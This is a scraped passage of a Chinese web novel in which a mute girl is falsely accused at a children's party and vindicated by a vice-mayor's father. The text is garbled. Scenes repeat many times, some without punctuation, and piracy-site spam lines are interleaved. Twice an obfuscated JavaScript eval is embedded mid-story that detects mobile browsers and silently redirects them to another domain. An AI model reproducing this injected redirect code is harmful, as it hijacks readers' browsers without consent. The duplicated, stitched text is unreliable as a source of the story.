你的朋友正在书荒,快去帮帮他吧 友送的礼物我都喜欢。 说着他便是从舟舟手里接过画框,下一秒,他的眼睛一下子亮了,像是发现了宝藏。 他仔细地看着画上举星星的小人儿和那些弯月亮,脸上露出大大的、真心实意的笑容。 “太棒了! 卓光明突然大声宣布,声音里是抑制不住的兴奋, “舟舟画得真好!我太喜欢了!爸爸! 他转头就喊卓父,“快!快帮我把这幅画挂到我房间的墙上!我要天天看着! 卓父也被儿子的热情感染,笑着走过来,接过画框仔细看了看,也点头赞道: “嗯,画得真有想象力!好,爸爸这就去给你挂上! 说完,当真拿着画就上楼去了,动作干脆利落。 卓光明也开开心心地跟在了后面。 这一幕让陈娇娇彻底傻了眼,她引以为傲的贵重机器人被完全“冷落,气得小脸通红,狠狠跺了跺脚,委屈的眼圈都红了。 陈母脸上的假笑也瞬间僵住,变得极其难看,眼神阴沉地盯着那幅被卓父拿走的画,又扫了一眼旁边安静站着的舟舟,嘴唇抿得死紧。 客厅里的气氛一时间有些微妙的凝滞。 卓母见状,赶紧笑着扬声打圆场: “好了好了,孩子们的心意光明都收到了,他都喜欢!大家别站着了,都自在一点,蛋糕、点心、水果都摆着呢,大家随意取用,别客气啊! 她热情地招呼着,试图冲散这尴尬。 客人们也顺势应和着,纷纷散开,三三两两地取食物、交谈起来,刚才那点不愉快仿佛被暂时搁置了。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 友送的礼物我都喜欢。” 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节) 说着他便是从舟舟手里接过画框,下一秒,他的眼睛一下子亮了,像是发现了宝藏。 他仔细地看着画上举星星的小人儿和那些弯月亮,脸上露出大大的、真心实意的笑容。 “太棒了!” 卓光明突然大声宣布,声音里是抑制不住的兴奋, “舟舟画得真好!我太喜欢了!爸爸!” 他转头就喊卓父,“快!快帮我把这幅画挂到我房间的墙上!我要天天看着!” 卓父也被儿子的热情感染,笑着走过来,接过画框仔细看了看,也点头赞道: “嗯,画得真有想象力!好,爸爸这就去给你挂上!” 说完,当真拿着画就上楼去了,动作干脆利落。 卓光明也开开心心地跟在了后面。 这一幕让陈娇娇彻底傻了眼,她引以为傲的贵重机器人被完全“冷落”,气得小脸通红,狠狠跺了跺脚,委屈的眼圈都红了。 陈母脸上的假笑也瞬间僵住,变得极其难看,眼神阴沉地盯着那幅被卓父拿走的画,又扫了一眼旁边安静站着的舟舟,嘴唇抿得死紧。 客厅里的气氛一时间有些微妙的凝滞。 卓母见状,赶紧笑着扬声打圆场: “好了好了,孩子们的心意光明都收到了,他都喜欢!大家别站着了,都自在一点,蛋糕、点心、水果都摆着呢,大家随意取用,别客气啊!” 她热情地招呼着,试图冲散这尴尬。 客人们也顺势应和着,纷纷散开,三三两两地取食物、交谈起来,刚才那点不愉快仿佛被暂时搁置了。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 友送的礼物我都喜欢。” 说着他便是从舟舟手里接过画框,下一秒,他的眼睛一下子亮了,像是发现了宝藏。 他仔细地看着画上举星星的小人儿和那些弯月亮,脸上露出大大的、真心实意的笑容。 “太棒了!” 卓光明突然大声宣布,声音里是抑制不住的兴奋, “舟舟画得真好!我太喜欢了!爸爸!” 他转头就喊卓父,“快!快帮我把这幅画挂到我房间的墙上!我要天天看着!” 卓父也被儿子的热情感染,笑着走过来,接过画框仔细看了看,也点头赞道: “嗯,画得真有想象力!好,爸爸这就去给你挂上!” 说完,当真拿着画就上楼去了,动作干脆利落。 卓光明也开开心心地跟在了后面。 这一幕让陈娇娇彻底傻了眼,她引以为傲的贵重机器人被完全“冷落”,气得小脸通红,狠狠跺了跺脚,委屈的眼圈都红了。 陈母脸上的假笑也瞬间僵住,变得极其难看,眼神阴沉地盯着那幅被卓父拿走的画,又扫了一眼旁边安静站着的舟舟,嘴唇抿得死紧。 客厅里的气氛一时间有些微妙的凝滞。 卓母见状,赶紧笑着扬声打圆场: “好了好了,孩子们的心意光明都收到了,他都喜欢!大家别站着了,都自在一点,蛋糕、点心、水果都摆着呢,大家随意取用,别客气啊!” 她热情地招呼着,试图冲散这尴尬。 客人们也顺势应和着,纷纷散开,三三两两地取食物、交谈起来,刚才那点不愉快仿佛被暂时搁置了。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第223章 哑巴怎么了? 陈娇娇坐在客厅最中间的位置,炫耀自己的机器人,其他小朋友也围在一边叽叽喳喳的讨论着。 她知道陈娇娇打心眼儿里瞧不上舟舟,怕待会儿再起冲突,便牵起舟舟的小手: “走,婶婶带你去外头吃,那儿清静。” 舟舟乖顺地跟着她,门口走廊的小圆桌擦得锃亮,周柒柒拉过竹椅让她坐下,又去里头端了盘奶油蛋糕。 舟舟乖巧地坐在,小口吃着蛋糕。 周柒柒给她又拿了点水果和小点心放在盘子里,刚准备坐下陪她,卓母就找了过来。 “柒柒,可算找着你了。” 卓母拉着她往门口走了两步,压低声音道,“跟你说个正经事。” 周柒柒见她神色郑重,也敛了笑容:“卓大姐您说。” “我们文工团年底要搞汇演,排了个新舞蹈,上头说要选去全国评比呢。” 卓母搓着手,眼里闪着光, “可服装一直定不下来,总觉得差点意思。前儿看你给光明做的那身小礼服,样式新颖又合身,就想着……能不能请你帮帮忙?” 她在团里专管服装道具,早有这个念头,只是怕周柒柒年轻没经验,才先让她给儿子做件小礼服试试水。 昨儿收到衣服,针脚细密不说,腰身收得恰到好处,连夜就找领导批了手续。 昨天收到小礼服之后,她觉得特别满意,连夜把手续给办好了,这才来邀请周柒柒。 周柒柒一听是正事,立刻来了精神,掏出随身带的小本本和笔: “没问题啊卓大姐。您跟我说说,什么类型的舞蹈?多少人跳?想要啥风格的?” 卓母细细说着: “是个群舞,二十来个姑娘,讲的是知青返乡的故事,得既有乡土气,又透着点青春朝气……” 周柒柒边听边记,时不时追问: “那裙摆要多长?” “……这些我倒是不太懂,不过我这有排练用的磁带,要不你听听找找感觉?” 卓母指着书房方向,“磁带机在里屋,就几分钟的事儿。” “那太好了!” 周柒柒眼睛一亮。 周柒柒回头看看正安静吃东西的舟舟,走过去弯腰叮嘱: “舟舟, 婶婶跟卓阿姨去拿个东西很快就回来。你乖乖坐这儿吃东西别乱跑也别跟其他小朋友闹别扭好吗?” 舟舟用力点头嘴角的奶油蹭到脸颊上像沾了朵小白云。 周柒柒忍不住摸了摸她的头这才跟着卓母往书房走。 书房里卓母找出磁带放进录音机悠扬的舞曲流淌出来。 “青春的岁月像条河岁月的河啊汇成歌” 这首歌叫《一支难忘的歌》将知青们对过往岁月的感慨与怀念融入其中旋律舒缓深沉既体现了岁月的沧桑感又蕴含着对未来的憧憬。 周柒柒支着下巴听着手指无意识地在膝盖上打着拍子脑子里已经开始琢磨: 知青返乡该用洗得发白的蓝布做褂子裙摆加圈细细的红布条既朴素又亮眼…… 卓母在一旁补充着想法。 “你看能不能加些刺绣?比如麦穗什么的突出乡土味儿……” 也就过了五六分钟周柒柒心里大致有了谱正准备跟卓母再交流两句。 正说得起劲外面院子方向突然传来一声尖锐刺耳的小女孩哭嚎紧接着是盘子摔在地上的碎裂声和大人惊慌的询问。 “哇——!!!我的裙子!我的新裙子!妈妈——!!!” 是陈娇娇的声音哭得跟被人掐了似的。 周柒柒心里咯噔一下跟卓母对视一眼俩人脸色都变了拔腿就往外跑。 刚走到玻璃门边就看到门口走廊小圆桌那里已经围了几个人。 陈娇娇跌坐在地上漂亮的洋装前襟沾满了黏糊糊的奶油和蛋糕屑脸上糊得一片狼藉正蹬着腿嚎啕大哭。 地上摔碎的瓷盘碴子混着蛋糕糊黏糊糊一片。 陈母叉着腰站在旁边脸都气歪了一手搂着哭嚎的女儿一手指着站在桌边的舟舟嗓子尖得能刺破耳膜: “你这孩子怎么回事?!小小年纪心思怎么这么坏!故意把蛋糕往我们娇娇身上推是不是?!你知道这裙子多贵吗?把你卖了都赔不起!” 所有人的目光“唰”地一下全落在舟舟身上。 小小的女孩站在狼藉旁 面对劈头盖脸的指责和满屋子的注视 她既没吓得哭出声,也没往旁边躲,只是抿紧了嘴唇,后背挺得笔直。 那双清亮的眼睛里没有泪,只有被冤枉的倔强,还有一丝说不清的茫然。 那么小的人儿,竟透着股不符合年纪的硬气。 周柒柒的心像是被狠狠揪了一下,又酸又疼。 这模样,跟不久前舟舟被小雷小锋锁在黑储物间时一模一样。 那回她也是这样,没哭喊,自己摸着找凳子爬窗户自救。 心疼瞬间压过了火气,周柒柒几步冲过去,一把将舟舟搂进怀里,用后背挡住那些刺人的目光,低头柔声问: “舟舟,没事吧?婶婶在。” 舟舟往她怀里缩了缩,小脑袋埋在她腰上,使劲摇了摇头,肩膀微微耸动着,却硬是没掉一滴泪。 陈母见状,更是气不打一处来: “她能有什么事?有事的是我家娇娇!你倒好,不问青红皂白就护着她!我问你,为什么推我们娇娇?说话啊!哑巴了?” 卓母赶紧上前拉住陈母的胳膊,脸上带着尴尬,压低声音劝: “陈妈妈,消消气!我之前不是特意跟你提过吗?这孩子……她情况特殊,说不了话,让大家多照顾着点。她肯定不是故意的……” 陈母被卓母一扯,似乎才想起来,刚才卓母似乎是专门跟她说过,但是这种不重要的小事儿,她听过就忘了,压根没放在心上。 她脸上闪过一丝极快的不耐烦,随即被浓浓的鄙夷覆盖: “哑巴怎么了?哑巴就能仗着不会说话欺负人了?!天底下没这个道理!推了人就得认!说不了‘对不起’,就给我鞠躬道歉!今天必须给我家娇娇一个交代!” 她的声音又尖又利,带着不容置疑的蛮横 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049236|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像是在命令人似的。 客厅里静得能听见墙上挂钟的滴答声。 所有客人的目光,有同情的,有打量的,有漠不关心的,都沉甸甸压在舟舟小小的肩膀上。 周柒柒把舟舟往身后护得更紧了,像头被惹急了的母狮子,眼神利得能刮伤人,迎上陈母: “这位家长!事情还没弄明白,你就一口咬定是舟舟推的,还逼着个不会说话的孩子道歉?这道理又在哪儿?要道歉,也得先把事儿搞清楚!” “我 家娇娇都说是她推的,这还不清楚?我相信她!” 陈母指着还在抽噎的女儿,说得斩钉截铁。 “我信舟舟,她绝不会平白无故做这种事。” 周柒柒的声音不高,却异常清晰坚定, “旁边不是还有两个孩子吗?问问她们,到底咋回事!” 卓母连忙看向旁边两个稍大点的女孩,其中一个穿着碎花裙子的正紧张地绞着手指。 卓母放柔了声音:“小芳,你刚才就在边上,看到了吗?娇娇妹妹是怎么摔倒的?” 叫小芳的女孩怯生生地抬头,嘴唇动了动,似乎想说什么。 但站在她身后的母亲脸色微变,不着痕迹地在她后腰上轻轻按了一下,眼神里带着警告。 小芳回头看了一眼母亲,到了嘴边的话咽了回去,飞快地低下头,小声嗫嚅: “我……我没看清……” 另一个女孩也赶紧摇头:“我也没看见。” 俩孩子的妈对视一眼,悄悄松了口气。 她们都是文工团的,而陈父是新调来的文化局部长,她们可不敢得罪。 陈母脸上立刻浮起胜利般的刻薄笑容,下巴抬得更高: “瞧见没?没人看见?那就是她推的!赶紧道歉!这裙子可是花了三十块钱买的!鞠躬道歉,再赔五十块钱损失费,这事就算了了!” 她嘴里还小声嘀咕着,“乡下来的土包子,没教养……” 这话像根火柴,“噌”地一下点燃了周柒柒的火。 她将舟舟严严实实挡在身后,直视着陈母,眼神冷得像冰,一字一句,掷地有声: “道歉?不可能!谁要是再敢逼舟舟道歉,别怪我不客气!” 那护犊子的架势,还有话里的决绝,让周围的人都心头一凛。 陈母被这气势慑得一愣,眼珠子转了转,随即恼羞成怒,转向卓母: “卓大姐!你听听!你请的这叫什么客人?一点礼数规矩都不懂!在我们家撒野?今天你必须给我一个交代!否则这事没完!” 所有人的目光都转向了卓母,包括周柒柒。 周柒柒的眼神很平静,但平静下是无声的审视。 她是不会妥协的! 如果卓母此刻为了息事宁人,也选择逼迫舟舟,那这个朋友,不交也罢。 至于设计文工团舞蹈服的工作机会,更是可以立刻作废。 人生的机会有很多,放弃一个也不可惜。 可为了这个机会逼迫舟舟道歉,可能会让她蒙上一辈子的心里阴影。 第224章 川式变脸 卓母感受到了两边目光的压力深吸了一口气。 她看了一眼被周柒柒护在身后、小脸紧绷却异常倔强的舟舟又看了看趾高气昂、不依不饶的陈母。 脸上那一抹得体的笑容淡了下去朗声说道。 “陈嫂子舟舟这孩子因为身体原因不能为自己辩解这本身就不公平。但我认识她也不是一天两天了光明也跟我说过很多她的事我相信她的品性她是个善良懂事的好孩子绝对不会无缘无故地去推搡别人。 你看着娇娇摔倒舟舟也在边上实际上可能就是个意外或者是小孩子玩闹间没站稳地误会都是小孩子之间的小事 她顿了顿斟酌着说道。 “这样我家小雨上礼拜在百货大楼买的新款碎花布拉吉新崭崭的还没上身呢。”’ 她扭头冲屋里喊。 “小雨你去把那件粉白碎花的布拉吉拿来先给娇娇妹妹换上别着凉了。” 卓秋雨有点不舍得小脸瞬间就跨了下来但还是乖乖得跑去楼上了。 卓母这番表态虽然委婉但立场鲜明地站在了周柒柒和舟舟这一边。 没有和稀泥更没有屈从于陈母的逼迫。 她试图用换衣服来转移矛盾也算是很聪明的方法。 在场的其他家长都不由点了点头想着这事儿就这么过去就行了至少大家面子上都过得去。 却没想到—— “不行!” 陈母却断然拒绝声音拔的更高。 “换衣服是换衣服道歉是道歉!她必须得给我家娇娇道歉!不然这事儿没完!” “你做梦!” 周柒柒往前跨了半步把舟舟往身后又拽了拽眼神跟带了刺似的 “我家舟舟没做错事凭什么道歉?” 两人僵持不下谁也不肯低头气氛紧绷到极点**味十足。 就在这时一个苍老却中气十足的声音从人群外传来带着一种威严的气息把这剑拔**张的气氛撕开道口子。 “谁说这小姑娘推人了?我老头子刚才就在隔壁二楼阳台上浇花这院里的情形我看得一清二楚!” 众人循声望去只见一个穿着 洗得发白的旧中山装、裤腿上还沾着几点泥巴印子的老爷子,拄着根拐杖走了过来。 正是之前周柒柒和舟舟在路上救助过的那位心绞痛发作的老人! 老爷子眼窝深陷却炯炯有神,拐杖往地上一顿,“笃的一声,直指着还坐在地上抽抽搭搭的陈娇娇。 “分别是这个小姑娘,先伸手狠狠推了舟舟一把!舟舟被她推的一个踉跄,手里的蛋糕盘子没拿稳才晃了一下,沾了点奶油到她衣服上,她自己战不稳,摔了个屁墩儿,倒赖上人家了?老头子我活了这么大岁数了,还没见过这么颠倒黑白的! 原来是这么回事! 人群一片哗然,目光齐刷刷地射向陈娇娇。 陈娇娇被老爷子威严的目光一瞪,哭声都噎住了,心虚地往母亲怀里缩。 陈母脸色瞬间变得极其难看,又惊又怒。 “你你个糟老头,胡说八道什么?你一口一个‘舟舟’叫得这么亲热,怕不是认识这两个乡巴佬吧?合起来污蔑我家娇娇! “陈嫂子,你少说两句! 卓母赶紧拉住她的胳膊,脸色都变了,压低声音急道, “你知道这是谁吗? 旁边几个家长也赶紧上来劝,拉胳膊的拉胳膊,使眼色的使眼色: “是啊陈嫂子,快别说了,这老爷子可是…… 话还没说完,院门口“嘀嘀两声汽车喇叭响,紧接着,一个拎着黑公文包的男人跨了进来。 “爸爸! 陈娇娇瞅见人,也顾不上撒泼了,连滚带爬地从地上起来,扑过去抱着男人的腿,哭得一把鼻涕一把泪, “他们都欺负我…… 陈父看着哭成泪人儿的女儿和气急败坏的妻子,脸色瞬间沉了下去。 “怎么了这是? 陈母赶紧扑过去,手舞足蹈地把事儿说了一遍,只不过话里话外全是周柒柒和舟舟的不是,把自家闺女说成了受气包。 陈父听完,眉头紧皱,护短的劲儿一下子就上来了,清了清嗓子,官腔十足地开口。 “不管这位老同志是谁,他能叫出那女娃娃的名字,说明认识,难保不会徇私。凡事得讲证据,大家都看在眼里,小孩子推了人就得道歉,这是最基本的家教!不能凭 一个来路不明的老头子几句话就冤枉了我家孩子!” 他话音未落卓母已经急得直跺脚声音带着无奈 “哎呀陈处长这可不是什么随便的老头子!他也是有身份的他是” “管他是什么来头!” 陈处长不耐烦地打断卓母威严十足地一挥手。 “在我这儿道理最大!今天必须给我女儿道歉否则.” 他冷哼一声眼神扫过周柒柒和卓母话里带着威胁。 “不然你想怎么样?我倒不知道陈处长除了政府大楼对着群众有这么大能耐?” 一个更加沉稳、带着上位者气势地声音在门口响起打断了陈部长的官腔。 众人回头只见一个穿着灰色中山装、气质儒雅却自带威严的中年男子快步走了进来。 来人正是S市的翟副市长! 陈处长脸上的怒容和官威在看清来人面孔的瞬间。 如同被戳破的气球“唰”地一下消失得无影无踪。 取而代之得是极度的震惊和难以置信的惶恐! 他眼睛瞪得溜圆嘴巴微张整个人都僵住了。 “翟翟市长?您.您怎么来这儿了?.你这是?” 他舌头都打了结。 翟副市长没理他他目光直接锁定在拄拐的老爷子身上径直走了过去语气带着关切和一丝无奈。 “爸!您怎么回事?我好不容易抽空过来看你一眼我烧个水的工夫您怎么一眨眼就不见了?我找了您半天!” 他扶着老爷子的胳膊。 “爸您没事吧?” 老爷子哼了一声拐棍在地上顿了顿。 “没事儿!我刚才我是跟你说了吗?外面忽然发病了被两个好心人救了人家把我送回家连口水都没喝就走了我这心里过意不去一直想着心里不安宁。” 他抬头指向周柒柒和舟舟。 “这不 陈处长脸上的血色“唰”地一下褪得干干净净额头上瞬间冒出一层冷汗腿肚子都有些发软。 他做梦也没想到这看着普普通通、裤腿还沾着泥点 的老爷子竟然是翟副市长的父亲! 刚才自己那番“随便的老头子”、“徇私”的言论简直是拿着喇叭在领导面前自扇耳光! “哎、哎呀!翟、翟老爷子!您看我这……我这真是有眼不识泰山!” 陈处长脸上的怒容和官威瞬间变成了极度的谄媚和惶恐腰也不自觉地弯了下去声音都带了颤 “我就说嘛您老这气质这风骨一看就不是一般人!怪我眼拙怪我眼拙!” 他恨不得给自己两个嘴巴子。 他猛地转向自己老婆孩子声音急促又严厉: “误会!都是小孩子玩闹没站稳的误会!娇娇!肯定是你不小心!快别哭了!” 他拼命给老婆使眼色 “还不快给老爷子赔个不是!小孩子不懂事让您看笑话了!” 陈母也懵了她再跋扈也知道副市长意味着什么那是丈夫顶头上司的顶头上司! 她脸上青一阵白一阵之前的嚣张气焰被浇了个透心凉赶紧拉着还在抽噎的陈娇娇对着翟老爷子挤出个比哭还难看的笑: “老爷子对不住对不住!小孩子家家的不懂事您老千万别往心里去……” 说着又赶紧按着娇娇。 “娇娇!还不跟爷爷道歉!” 陈娇娇被母亲按着又被这阵势吓到加上裙子脏了的委屈 翟老爷子花白的眉毛一竖拐杖重重一顿声音洪亮。 “跟我道哪门子歉?该赔不是的是这孩子!” 他指向了周柒柒身后的舟舟。 “多好的孩子差点被你们冤死!看看这双眼睛是那坏心眼的孩子能有的吗?道歉!好好跟舟舟道歉!” 陈处长脸上的谄媚僵了僵额头上刚下去的汗又冒了出来。 他赶紧扯了一把还在发懵的老婆两个人对着那个小小的、沉默的身影弯了弯腰。 不过这腰弯的就没有对翟老爷子那么真情实感了而是有点不情不愿的。 嘴里含糊地挤出几句“对不起啊小朋友误会了误会了!” 那语气敷衍得像是走过场眼神飘忽连正眼都没瞧舟舟一下。 陈娇娇被母亲按着抽抽噎噎也跟着咕哝了一句小脸上写满了不忿。 “还有她婶婶呢!” 老爷子眼睛一瞪目光如炬地扫向陈家三人。 “人家大人护着孩子天经地义倒也被你们吆五喝六地编排!也得道歉!” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 的老爷子,竟然是翟副市长的父亲! 刚才自己那番“随便的老头子”、“徇私”的言论,简直是拿着喇叭在领导面前自扇耳光! “哎、哎呀!翟、翟老爷子!您看我这……我这真是有眼不识泰山!” 陈处长脸上的怒容和官威瞬间变成了极度的谄媚和惶恐,腰也不自觉地弯了下去,声音都带了颤, “我就说嘛,您老这气质,这风骨,一看就不是一般人!怪我眼拙,怪我眼拙!” 他恨不得给自己两个嘴巴子。 他猛地转向自己老婆孩子,声音急促又严厉: “误会!都是小孩子玩闹没站稳的误会!娇娇!肯定是你不小心!快别哭了!” 他拼命给老婆使眼色, “还不快给老爷子赔个不是!小孩子不懂事,让您看笑话了!” 陈母也懵了,她再跋扈也知道副市长意味着什么,那是丈夫顶头上司的顶头上司! 她脸上青一阵白一阵,之前的嚣张气焰被浇了个透心凉,赶紧拉着还在抽噎的陈娇娇,对着翟老爷子挤出个比哭还难看的笑: “老爷子,对不住,对不住!小孩子家家的,不懂事,您老千万别往心里去……” 说着,又赶紧按着娇娇。 “娇娇!还不跟爷爷道歉!” 陈娇娇被母亲按着,又被这阵势吓到,加上裙子脏了的委屈,哇地一声又大哭起来,含糊不清地嘟囔着“对不起”。 翟老爷子花白的眉毛一竖,拐杖重重一顿,声音洪亮。 “跟我道哪门子歉?该赔不是的,是这孩子!” 他指向了周柒柒身后的舟舟。 “多好的孩子,差点被你们冤死!看看这双眼睛,是那坏心眼的孩子能有的吗?道歉!好好跟舟舟道歉!” 陈处长脸上的谄媚僵了僵,额头上刚下去的汗又冒了出来。 他赶紧扯了一把还在发懵的老婆,两个人对着那个小小的、沉默的身影弯了弯腰。 不过这腰弯的就没有对翟老爷子那么真情实感了,而是有点不情不愿的。 嘴里含糊地挤出几句,“对不起啊小朋友,误会了误会了!” 那语气,敷衍得像是走过场,眼神飘忽,连正眼都没瞧舟舟一下。 陈娇娇被母亲按着,抽抽噎噎也跟着咕哝了一句,小脸上写满了不忿。 “还有她婶婶呢!” 老爷子眼睛一瞪,目光如炬地扫向陈家三人。 “人家大人护着孩子天经地义,倒也被你们吆五喝六地编排!也得道歉!” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 的老爷子竟然是翟副市长的父亲! 刚才自己那番“随便的老头子”、“徇私”的言论简直是拿着喇叭在领导面前自扇耳光! “哎、哎呀!翟、翟老爷子!您看我这……我这真是有眼不识泰山!” 陈处长脸上的怒容和官威瞬间变成了极度的谄媚和惶恐腰也不自觉地弯了下去声音都带了颤 “我就说嘛您老这气质这风骨一看就不是一般人!怪我眼拙怪我眼拙!” 他恨不得给自己两个嘴巴子。 他猛地转向自己老婆孩子声音急促又严厉: “误会!都是小孩子玩闹没站稳的误会!娇娇!肯定是你不小心!快别哭了!” 他拼命给老婆使眼色 “还不快给老爷子赔个不是!小孩子不懂事让您看笑话了!” 陈母也懵了她再跋扈也知道副市长意味着什么那是丈夫顶头上司的顶头上司! 她脸上青一阵白一阵之前的嚣张气焰被浇了个透心凉赶紧拉着还在抽噎的陈娇娇对着翟老爷子挤出个比哭还难看的笑: “老爷子对不住对不住!小孩子家家的不懂事您老千万别往心里去……” 说着又赶紧按着娇娇。 “娇娇!还不跟爷爷道歉!” 陈娇娇被母亲按着又被这阵势吓到加上裙子脏了的委屈哇地一声又大哭起来含糊不清地嘟囔着“对不起”。 翟老爷子花白的眉毛一竖拐杖重重一顿声音洪亮。 “跟我道哪门子歉?该赔不是的是这孩子!” 他指向了周柒柒身后的舟舟。 “多好的孩子差点被你们冤死!看看这双眼睛是那坏心眼的孩子能有的吗?道歉!好好跟舟舟道歉!” 陈处长脸上的谄媚僵了僵额头上刚下去的汗又冒了出来。 他赶紧扯了一把还在发懵的老婆 不过这腰弯的就没有对翟老爷子那么真情实感了而是有点不情不愿的。 嘴里含糊地挤出几句“对不起啊小朋友误会了误会了!” 那语气敷衍得像是走过场眼神飘忽连正眼都没瞧舟舟一下。 陈娇娇被母亲按着抽抽噎噎也跟着咕哝了一句小脸上写满了不忿。 “还有她婶婶呢!” 老爷子眼睛一瞪目光如炬地扫向陈家三人。 “人家大人护着孩子天经地义倒也被你们吆五喝六地编排!也得道歉!” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 的老爷子,竟然是翟副市长的父亲! 刚才自己那番“随便的老头子、“徇私 “哎、哎呀!翟、翟老爷子!您看我这……我这真是有眼不识泰山! 陈处长脸上的怒容和官威瞬间变成了极度的谄媚和惶恐,腰也不自觉地弯了下去,声音都带了颤, “我就说嘛,您老这气质,这风骨,一看就不是一般人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那语气,敷衍得像是走过场,眼神飘忽,连正眼都没瞧舟舟一下。 陈娇娇被母亲按着,抽抽噎噎也跟着咕哝了一句,小脸上写满了不忿。 “还有她婶婶呢! 老爷子眼睛一瞪,目光如炬地扫向陈家三人。 “人家大人护着孩子天经地义,倒也被你们吆五喝六地编排!也得道歉! 你的朋友正在书荒,快去帮帮他吧 的老爷子,竟然是翟副市长的父亲! 刚才自己那番“随便的老头子”、“徇私”的言论,简直是拿着喇叭在领导面前自扇耳光! “哎、哎呀!翟、翟老爷子!您看我这……我这真是有眼不识泰山!” 陈处长脸上的怒容和官威瞬间变成了极度的谄媚和惶恐,腰也不自觉地弯了下去,声音都带了颤, “我就说嘛,您老这气质,这风骨,一看就不是一般人!怪我眼拙,怪我眼拙!” 他恨不得给自己两个嘴巴子。 他猛地转向自己老婆孩子,声音急促又严厉: “误会!都是小孩子玩闹没站稳的误会!娇娇!肯定是你不小心!快别哭了!” 他拼命给老婆使眼色, “还不快给老爷子赔个不是!小孩子不懂事,让您看笑话了!” 陈母也懵了,她再跋扈也知道副市长意味着什么,那是丈夫顶头上司的顶头上司! 她脸上青一阵白一阵,之前的嚣张气焰被浇了个透心凉,赶紧拉着还在抽噎的陈娇娇,对着翟老爷子挤出个比哭还难看的笑: “老爷子,对不住,对不住!小孩子家家的,不懂事,您老千万别往心里去……” 说着,又赶紧按着娇娇。 “娇娇!还不跟爷爷道歉!” 陈娇娇被母亲按着,又被这阵势吓到,加上裙子脏了的委屈,哇地一声又大哭起来,含糊不清地嘟囔着“对不起”。 翟老爷子花白的眉毛一竖,拐杖重重一顿,声音洪亮。 “跟我道哪门子歉?该赔不是的,是这孩子!” 他指向了周柒柒身后的舟舟。 “多好的孩子,差点被你们冤死!看看这双眼睛,是那坏心眼的孩子能有的吗?道歉!好好跟舟舟道歉!” 陈处长脸上的谄媚僵了僵,额头上刚下去的汗又冒了出来。 他赶紧扯了一把还在发懵的老婆,两个人对着那个小小的、沉默的身影弯了弯腰。 不过这腰弯的就没有对翟老爷子那么真情实感了,而是有点不情不愿的。 嘴里含糊地挤出几句,“对不起啊小朋友,误会了误会了!” 那语气,敷衍得像是走过场,眼神飘忽,连正眼都没瞧舟舟一下。 陈娇娇被母亲按着,抽抽噎噎也跟着咕哝了一句,小脸上写满了不忿。 “还有她婶婶呢!” 老爷子眼睛一瞪,目光如炬地扫向陈家三人。 “人家大人护着孩子天经地义,倒也被你们吆五喝六地编排!也得道歉!” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 的老爷子竟然是翟副市长的父亲! 刚才自己那番“随便的老头子”、“徇私”的言论简直是拿着喇叭在领导面前自扇耳光! “哎、哎呀!翟、翟老爷子!您看我这……我这真是有眼不识泰山!” 陈处长脸上的怒容和官威瞬间变成了极度的谄媚和惶恐腰也不自觉地弯了下去声音都带了颤 “我就说嘛您老这气质这风骨一看就不是一般人!怪我眼拙怪我眼拙!” 他恨不得给自己两个嘴巴子。 他猛地转向自己老婆孩子声音急促又严厉: “误会!都是小孩子玩闹没站稳的误会!娇娇!肯定是你不小心!快别哭了!” 他拼命给老婆使眼色 “还不快给老爷子赔个不是!小孩子不懂事让您看笑话了!” 陈母也懵了她再跋扈也知道副市长意味着什么那是丈夫顶头上司的顶头上司! 她脸上青一阵白一阵之前的嚣张气焰被浇了个透心凉赶紧拉着还在抽噎的陈娇娇对着翟老爷子挤出个比哭还难看的笑: “老爷子对不住对不住!小孩子家家的不懂事 说着又赶紧按着娇娇。 “娇娇!还不跟爷爷道歉!” 陈娇娇被母亲按着又被这阵势吓到加上裙子脏了的委屈哇地一声又大哭起来含糊不清地嘟囔着“对不起”。 翟老爷子花白的眉毛一竖拐杖重重一顿声音洪亮。 “跟我道哪门子歉?该赔不是的是这孩子!” 他指向了周柒柒身后的舟舟。 “多好的孩子差点被你们冤死!看看这双眼睛是那坏心眼的孩子能有的吗?道歉!好好跟舟舟道歉!” 陈处长脸上的谄媚僵了僵额头上刚下去的汗又冒了出来。 他赶紧扯了一把还在发懵的老婆两个人对着那个小小的、沉默的身影弯了弯腰。 不过这腰弯的就没有对翟老爷子那么真情实感了而是有点不情不愿的。 嘴里含糊地挤出几句“对不起啊小朋友误会了误会了!” 那语气敷衍得像是走过场眼神飘忽连正眼都没瞧舟舟一下。 陈娇娇被母亲按着抽抽噎噎也跟着咕哝了一句小脸上写满了不忿。 “还有她婶婶呢!” 老爷子眼睛一瞪目光如炬地扫向陈家三人。 “人家大人护着孩子天经地义倒也被你们吆五喝六地编排!也得道歉!” 你的朋友正在书荒,快去帮帮他吧 第225章 走了狗屎运 陈母心里那叫一个憋屈! 给副市长他爹道歉,那是天经地义。 再给那个小哑巴道歉,也是没办法,只能捏着鼻子认了。 可是给这个乡下裁缝道歉? 她算是哪根葱啊? 她脸上肌肉抽动,勉强挤出个比哭还难看的笑容,对着周柒柒,声音干巴巴没半点诚意。 “周同志,对不住啊,小孩子玩闹,没站稳而已,都是误会.误会” 这敷衍之际的态度,连旁边看热闹的客人脸上都露出了几分鄙夷。 就在这时,一直扶着父亲,目光沉静地观察着这一切的翟副市长,视线终于完全落在了周柒柒脸上。 